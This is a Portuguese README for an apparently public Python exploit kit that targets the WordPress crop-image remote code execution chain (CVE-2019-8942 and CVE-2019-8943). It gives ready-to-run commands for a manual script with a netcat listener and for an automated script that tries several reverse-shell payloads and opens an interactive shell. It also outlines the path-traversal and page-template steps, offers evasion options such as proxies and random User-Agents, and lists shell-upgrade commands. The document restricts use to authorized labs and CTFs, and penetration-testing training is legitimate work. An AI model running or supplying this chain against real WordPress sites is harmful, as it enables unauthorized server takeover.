Kit de exploração em Python para WordPress Crop Image RCE — CVE-2019-8942 e CVE-2019-8943
Implementação em Python3 da cadeia de exploração autenticada de recorte de imagem do WordPress. O repositório está organizado em dois fluxos de trabalho independentes: um script manual estilo OSCP e um script totalmente automatizado com um manipulador de reverse-shell integrado.
Use isso apenas em laboratórios autorizados, CTFs, plataformas de treinamento ou sistemas onde você tenha permissão explícita para testar.
A cadeia de exploração visa as vulnerabilidades rastreadas como:
CVE-2019-8942CVE-2019-8943O módulo público do Metasploit para esta vulnerabilidade descreve as versões afetadas como:
WordPress 5.0.0 and WordPress <= 4.9.8
É necessária uma conta válida do WordPress com permissões de upload/edição de mídia. Em muitos ambientes de laboratório, um usuário de nível Autor é suficiente.
.
├── autoexploit.py
├── exploit_oscp.py
├── image.jpg
├── README.md
└── requirements.txt
image.jpg é o transportador JPG padrão usado pelo script estilo OSCP. Ele está incluído para que o fluxo manual funcione imediatamente sem precisar procurar uma imagem aleatória.
autoexploit.py é autossuficiente e inclui internamente seu próprio transportador JPG hexadecimal, mas também pode aceitar um JPG personalizado com -i.
python3 -m pip install -r requirements.txt
O único pacote Python necessário é:
requests
Se você quiser suporte a proxy SOCKS, instale requests com os extras SOCKS em seu ambiente:
python3 -m pip install 'requests[socks]'
| Script | Melhor para | Manipulação de imagem | Manipulação de shell |
|---|---|---|---|
exploit_oscp.py | Exploração manual/estilo OSCP | Usa image.jpg por padrão, ou -i custom.jpg | Você inicia nc manualmente |
autoexploit.py | Uso rápido em laboratório e testes repetitivos | Usa um JPG hex incorporado por padrão, ou -i custom.jpg | Inicia o listener, aciona callbacks e abre um console interativo |
Ambos os scripts são independentes. Nenhum importa código do outro.
exploit_oscp.py mantém o fluxo explícito. Ele prepara o transportador de imagem, executa a cadeia de exploração autenticada do WordPress, confirma a execução de comandos e aciona um reverse shell para o listener que você iniciou manualmente.
Ele não inicia um manipulador automaticamente e não usa Metasploit, Meterpreter ou msfvenom.
Inicie seu listener primeiro:
nc -lvnp 443
Execute o exploit usando o image.jpg padrão:
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443
nc -lvnp 443
python3 exploit_oscp.py -t http://target.local/ -u username -p password -i ./custom.jpg --lhost 10.10.14.8 --lport 443
| Opção | Obrigatório | Padrão | Significado |
|---|---|---|---|
-t, --target | Sim | Nenhum | URL base do WordPress alvo, por exemplo http://target.local/ |
-u, --username | Sim | Nenhum | Nome de usuário do WordPress |
-p, --password | Sim | Nenhum | Senha do WordPress |
-i, --image | Não | image.jpg | Transportador JPG a ser preparado e enviado |
--lhost | Sim | Nenhum | Seu IP de callback, geralmente seu IP VPN/tun0 |
--lport | Sim | Nenhum | Porta onde seu listener manual está esperando |
--proxy | Não | Nenhum | URL do proxy, por exemplo http://127.0.0.1:8080 ou socks5://127.0.0.1:9050 |
--user-agent | Não | Integrado | Cabeçalho User-Agent personalizado |
--random-user-agent | Não | Desativado | Usar um User-Agent aleatório semelhante a um navegador |
--timeout | Não | 20 | Timeout HTTP em segundos |
--debug | Não | Desativado | Exibir saída de depuração HTTP e salvar respostas de falha úteis |
python3 exploit_oscp.py -t http://target.local/ -u username -p password -i ./image.jpg --lhost 10.10.14.8 --lport 443 --proxy http://127.0.0.1:8080
autoexploit.py foi projetado para velocidade. Ele pode ser executado apenas com as credenciais do alvo e tentará selecionar automaticamente o IP de callback e a porta do listener.
Ele executa o fluxo completo de exploração, inicia um listener local, tenta vários estilos de payload de reverse-shell e abre um console interativo mais limpo com mensagens de status local coloridas e tratamento silencioso de upgrade de TTY.
python3 autoexploit.py -t http://target.local/ -u username -p password
python3 autoexploit.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443
python3 autoexploit.py -t http://target.local/ -u username -p password -i ./image.jpg --proxy http://127.0.0.1:8080
| Opção | Obrigatório | Padrão | Significado |
|---|---|---|---|
-t, --target | Sim | Nenhum | URL base do WordPress alvo |
-u, --username | Sim | Nenhum | Nome de usuário do WordPress |
-p, --password | Sim | Nenhum | Senha do WordPress |
-i, --image | Não | JPG hex incorporado | Transportador JPG personalizado opcional |
--lhost | Não | Detectado automaticamente | IP de callback usado pelo reverse shell |
--lport | Não | Porta local livre | Porta do listener local |
--listen-timeout | Não | 12 | Segundos para aguardar cada tentativa de reverse-shell |
--proxy | Não | Nenhum | URL do proxy, por exemplo http://127.0.0.1:8080 ou socks5://127.0.0.1:9050 |
--user-agent | Não | Integrado | Cabeçalho User-Agent personalizado |
--random-user-agent | Não | Desativado | Usar um User-Agent aleatório semelhante a um navegador |
--timeout | Não | 20 | Timeout HTTP em segundos |
--debug | Não | Desativado | Exibir saída de depuração HTTP e salvar respostas de falha úteis |
Proxy HTTP via Burp:
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy http://127.0.0.1:8080
Proxy SOCKS:
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy socks5://127.0.0.1:9050
User-Agent personalizado:
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443 --user-agent "Mozilla/5.0 Custom"
User-Agent aleatório:
python3 autoexploit.py -t http://target.local/ -u username -p password --random-user-agent
Este não é um upload PHP normal. O WordPress espera conteúdo de imagem, processa o arquivo através do editor de mídia e cria uma imagem recortada. A cadeia de exploração então abusa dos metadados do anexo e do path traversal para colocar uma imagem recortada dentro do diretório do tema ativo. Finalmente, o arquivo recortado é referenciado como um modelo de página para que o WordPress o inclua como PHP.
Um JPG aleatório com PHP colocado em metadados EXIF frágeis pode falhar porque o GD pode remover ou recodificar metadados durante o processamento do recorte. Este repositório mantém o fluxo claro:
exploit_oscp.py usa o image.jpg incluído por padrão ou uma imagem personalizada passada com -i.autoexploit.py contém um transportador hexadecimal interno para permanecer autossuficiente.async-upload.php._wp_attached_file para influenciar o caminho de saída do recorte._wp_page_template como o nome do JPG recortado.0.Verifique se a versão do WordPress é vulnerável e se a conta pode fazer upload e editar mídia.
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443 --debug
Verifique o IP de callback e o listener.
ip addr show tun0
nc -lvnp 443
Então execute o script OSCP novamente com o --lhost correto.
Use a opção de proxy explicitamente:
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy http://127.0.0.1:8080
Instale o suporte SOCKS:
python3 -m pip install 'requests[socks]'
Shells reversos básicos são frequentemente limitados. O script automatizado tenta fazer upgrade da sessão automaticamente. No modo OSCP, faça o upgrade manualmente após receber o callback:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Pressione Ctrl+Z localmente e então execute:
stty raw -echo; fg
Dentro do shell:
export TERM=xterm
exploit_oscp.py é intencionalmente manual:
autoexploit.py;LHOST e LPORT explícitos;O fluxo de trabalho pretendido é:
nc -lvnp 443
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443
A pesquisa e a cadeia de vulnerabilidades foram documentadas publicamente pelos pesquisadores originais e posteriormente implementadas em frameworks de exploração públicos.
Implementação em Python e fluxo de trabalho de laboratório por SpeatX.
Este repositório é fornecido para testes de segurança autorizados, CTFs, laboratórios de treinamento e pesquisa educacional.
Não o execute contra sistemas que você não possui ou para os quais não tem permissão explícita para testar.